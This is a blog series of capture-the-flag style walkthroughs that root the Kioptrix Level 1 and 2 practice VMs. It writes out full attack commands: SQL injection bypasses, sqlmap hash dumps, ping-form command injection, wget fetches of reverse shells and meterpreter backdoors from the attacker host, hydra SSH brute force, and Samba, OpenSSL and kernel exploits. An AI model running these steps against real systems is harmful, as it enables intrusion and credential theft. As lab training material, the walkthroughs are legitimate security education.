Sunday, 19 August 2012

Kioptrix Level 2

Hi everyone, in this post I will explain how to get root on Kioptrix LEVEL 2.
Lets start with the basics, nmap!


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-13 10:30 BST
Nmap scan report for 172.16.1.189
Host is up (0.021s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http                 Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
443/tcp  open  ssl/http             Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp                  CUPS 1.1
3306/tcp open  mysql                MySQL (unauthorized)
MAC Address: 00:50:56:AF:62:3F (VMware)
Ok , so for this one ,lets try to access apache on that ip address Open your browser and and type the ip address of your kioptrix, in my case is http://172.16.1.189 As you can see there is a login webpage , we don't know the user/password, but  we can guess, OR try to do a sql injection, in my case, I am doing the sql  injection, so on the username field, type : admin  , and on the password field
type : ' OR 1=1 -- -
If you want to dig a bit more on the sql injection side of things, we can use sqlmap to fetch some information from the database. Here are some examples:
1) Available databases :
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --dbs
Result:
available databases [2]:
[*] `test\_%`
[*] test
2) Identify the current database
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --current-db
Result :
current database:    'webapp'
3) Find all mysql users passwords
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --passwords
Result :
[*] john [1]:
    password hash: 5a6914ba69e02807
[*] root [1]:
    password hash: 5a6914ba69e02807
And so on. You can also have a sql shell on the server if you want.
./sqlmap.py -u "http://172.16.1.189" --data "uname=admin&psw=xx' or OR 1=1 -- -" --sql-shell
>select * from users; [2]:
[*] 1, 5afac8d85f, admin
[*] 2, 66lajGGbla, john

Now, coming back to the browser you can see a new web page saying that you can  ping a machine on the network, that means we can execute commands and if not properly configured, we can run more than just "ping". Lets try ping first, then we can try something else. If you typed your ip address on that box, you will be forwarded to http://172.16.1.189/pingit.php That's the one we need to look now. So, instead just ping, lest try to add something else to the command like "; cat /etc/passwd" and see what happens.As you can see, we can read the /etc/passwd, that means we have a webshell to
the server and now  we can execute anything ( almost ;) )  , so lets upload our backdoor to the server.
We can do this in many ways, I will me explaining the 2 methods:
1) Upload a reverse shell ( the easyest way)
172.16.1.1 ;  wget -O /tmp/reverse_shell
http://172.16.1.79/exploits/reverse_shell2
2) Change permission to execute.
172.16.1.1 ; chmod 777 /tmp/reverse_shell
3) Prepare your BT server for the connection
nc -l -p 10000
4)And now run the reverse_shell
172.16.1.1 ; /tmp/reverse_shell
Done, now we have shell, we can try the same using backtrack.
1) We need to start apache :  /etc/init.d/apache2 start
2) We need to create our backdoor:
LHOST : IP of your backtrack
LPORT : Port that backtrack will be listening to
/var/www/backdoor.php.txt : That's where it will save your backdoor.
So the complete command is :
msfpayload php/meterpreter/reverse_tcp LHOST=172.16.1.79 LPORT=8080 R >
/var/www/backdoor.php.txt

Now, we need to start our session handler.

msfconsole
use multi/handler
search php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 8080
exploit -j -z
Leave this one running and open open another shell on your backtrack.
We need to edit our backdoor.php.txt ( script kid stuff)
vi /var/www/backdoor.php.txt. Remove "#" from the first line and save it.

Next step is to insert this in our ping command line .
172.16.1.1 ; cd /tmp ; wget -O backdoor.php 172.16.1.79/backdoor.php.txt ; php
-f backdoor.php
If you look into that other shell, you should be reading this by now :
[*] Sending stage (39217 bytes) to 172.16.1.189
[*] Meterpreter session 4 opened (172.16.1.79:8080 -> 172.16.1.189:32807) at
2012-08-13 14:12:00 +0100
meterpreter >
Great, now that we have access to the box, we need to get root.
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686
i386 GNU/Linux

Now we need to find an exploit for that kernel . If you google it, you will end up on securityfocus or other similar. You can download the exploit from securityfocus or from exploit-db or use the  one that is inside backtrack.
http://www.exploit-db.com/exploits/9542/
http://www.securityfocus.com/bid/36108/info

Or ... you can search inside backtrack.
/pentest/exploits/exploitdb/searchsploit  kernel linux local
And that's the one you are looking for
Linux Kernel 2.x sock_sendpage() Local Ring0 Root Exploit           /linux/local/9435.txt
Again, you can try other exploits as well. Now that you have the exploit, compile it and run it on the target machine.
wget http://172.16.1.79/exploits/ip_append_data.c
gcc -o get_root ip_append_data.c
./get_root
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

And that's it, game over.

Sunday, 12 August 2012

Kioptrix Hacking challenge LEVEL 1 part 3 (SSH)


Hi folks, ok, another option that we have to break into kioptix level 1, is bruteforce ssh, its quite simple, but takes a LOT of time if you are unlucky. Here is how you can crack down via bruteforce.
In your backtrack type:
cd /pentest/passwords/wordlists/
hydra -l root -P rockyou.txt -t 3 -o login.pwd 172.16.1.144 ssh
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2012-08-08 13:33:19
[DATA] 3 tasks, 1 server, 14344398 login tries (l:1/p:14344398), ~4781466 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 172.16.1.144   login: root   password: 123456
[STATUS] attack finished for 172.16.1.144 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-08-08 13:33:36


As you can see, it found the pasword 123456 for the user root.

PS : I changed the root password to 123456 for this demonstration only.


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)


Kioptrix Hacking challenge LEVEL 1 part 2 (SAMBA)
Hi everyone, this is the second part of the level 1, now we are going to exploit samba. As you remember from the last video, we managed to get root using an SSL exploit for apache, now its time to exploit a samba vulnerabilities. So, lets start.
First, lets run an nmap
nmap -sV 172.16.1.144
Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-07 11:12 BST
Nmap scan report for 172.16.1.144
Host is up (0.00068s latency).
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)
MAC Address: 00:50:56:AF:5A:B9 (VMware)
Ok, this output doesn't tell the version of samba, but we can try two commands
to list the version :
1) smbclient -L 172.16.1.144
Result :
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
 Sharename       Type      Comment
 ---------       ----      -------
cli_rpc_pipe_open_noauth: rpc_pipe_bind for pipe \srvsvc failed with error
ERRnosupport
 IPC$            IPC       IPC Service (Samba Server)
 ADMIN$          Disk      IPC Service (Samba Server)
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

2) smbclient //172.16.1.144/IPC$
Result:
Enter root's password:
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
tree connect failed: ERRnosuchshare
Ok, now we know its running version 2.2.1a, lets try to find an exploit for
it. If you google for "samba 2.2.1a" exploit
You will find this exploit
http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
So.. lets go back to our backtrack , download and compile it.
wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc -o exploit 0x333hate.c
./exploit  -t 172.16.1.144
Result :
[~] 0x333hate => samba 2.2.x remote root exploit [~]
 [~]        coded by c0wboy ~ www.0x333.org       [~]
 [-] connecting to 172.16.1.144:139
 [-] stating bruteforce
 [-] testing 0xbfffffff
 [-] testing 0xbffffdff
 [-] testing 0xbffffbff
 [-] testing 0xbffff9ff
 [-] testing 0xbffff7ff
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)


There is another way to exploit this samba using metasploit. Lets try that.
msfconsole
search samba
use linux/samba/trans2open
show options
set RHOST 172.16.1.144
show payloads
set PAYLOAD linux/x86/shell/bind_tcp
show options
exploit
[*] Started bind handler
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Sending stage (36 bytes) to 172.16.1.144
[*] Trying return address 0xbffff9fc...
[*] Command shell session 1 opened (172.16.1.79:52832 -> 172.16.1.144:4444) at
2012-08-07 11:51:46 +0100
id
uid=0(root) gid=0(root) groups=99(nobody)


Success!! We got again on the box.

Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)



Kioptrix Hacking challenge LEVEL 1 part 1 (APACHE)
Hi everyone, in this post I will be demonstrating how to hack Kioptrix Level 1 .But what is kioptrix? Its a linux distro with lots of vulnerabilities, so we can play and test our knowledgement. To download, go to : http://www.kioptrix.com/blog/?page_id=135  , and use vmware player to open the files and you are ready to go.So, now that's everything up and running, we need to discover the IP address of the target machine because it gets via DHCP from your network ( by the way, you need a DHCP server in order for this to work). To find out what's the IP address , lets run an nmap on our network that will look for live hosts.

# nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.144
Host is up (0.0010s latency).
MAC Address: 00:50:56:AF:5A:B9 (VMware)

Great, now that we found it the IP address, lets see what's running in the host.

#nmap -sV 172.16.1.144


Starting Nmap 6.01 ( http://nmap.org ) at 2012-08-03 16:47 BST
Nmap scan report for 172.16.1.144
Host is up (0.033s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE              VERSION
22/tcp   open  ssh                  OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http                 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind (rpcbind V2) 2 (rpc #100000)
139/tcp  open  netbios-ssn          Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/http             Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
1024/tcp open  status (status V1)   1 (rpc #100024)
MAC Address: 00:50:56:AF:5A:B9 (VMware)


Ok, at this point there is a lot to do. We need to find if the running version of each open port has an exploit for the version.To get the proper version and vulnerability ID, lets use nikto to scan the host. I am not going to explain all vulnerabilities of the distro, I think two is good enough, you guys can try for your self's other ways to break into. So I am going to show how to break in using apache and samba.
1) cd /pentest/web/nikto/
2) ./nikto.pl -host 172.16.1.144
3) The results (The intersting bits) :
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.


Right, now we need to google it for the CVEs or you can search for the exploit on backtrack itself.
Run:
/pentest/exploits/exploitdb/searchsploit  apache linux remote
Webfroot Shoutbox < 2.32 (Apache) Remote Exploit  /linux/remote/34.pl
Apache <= 2.0.45 APR Remote Exploit -Apache-Knacker.pl   /linux/remote/38.pl
Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit    /linux/remote/126.c
Apache 1.3.*-2.0.48 mod_userdir Remote Users Disclosure Exploit     /linux/remote/132.c
Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)/linux/remote/764.c
Apache Tomcat Connector (mod_jk) Remote  Exploit (exec-shield)     /linux/remote/4162.c
Apache Tomcat (webdav) Remote File Disclosure Exploit (ssl support)     /linux/remote/4552.pl
Apache Tomcat Connector jk2-2.0.2 (mod_jk2) Remote Overflow Exploit /linux/remote/5386.txt


As you can see, there is one for OpenSSL (764.c) OpenFuck.
Now, because this is really old, you need to change the exploit a bit in order to make it work.
1) Add: #include <openssl rc4.h>
2) Add: #include <openssl md5.h>
3) Search inside the exploit for "wget" and change the url for the correct one because that is not valid anymore. If you google it for ptrace-kmod.c , you will find that the correct address is :
http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
So, just change that on the exploit, save it .
Now we need to compile it, but before that, we need install the ssl-dev libraries.
Run :
apt-get install libssl-dev
cd /pentest/exploits/exploitdb/platforms/linux/remote
gcc -o OpenFuck 764.c -lcrypto
Run the exploit now
./OpenFuck
Look for the target, we know that its running apache on a redhat, and that is running 1.3.20 so lets filter that:
./OpenFuck  | grep -i redhat | grep "1.3.20"
That limits the results to only two
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
So we can try first the target as 0x6a and if that doesn't work, we can try 0x6b.
./OpenFuck 0x6a 172.16.1.144 443
Result :
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc3f0
Ready to send shellcode
Spawning shell...
Good Bye!

As you can see, that did not worked.
Lets try the other one now.
./OpenFuck 0x6b 172.16.1.144 443
Result:
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f83c0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; ttp://172.16.1.79/ptrace-kmod.c; gcc -
--09:18:29--  http://172.16.1.79/ptrace-kmod.c          => `ptrace-kmod.c'
Connecting to 172.16.1.79:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]    0K ...                   100% @   3.74 MB/s
09:18:29 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 17426
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Success !! We got root on the box.
In the next video I will demonstrate how to hack using samba.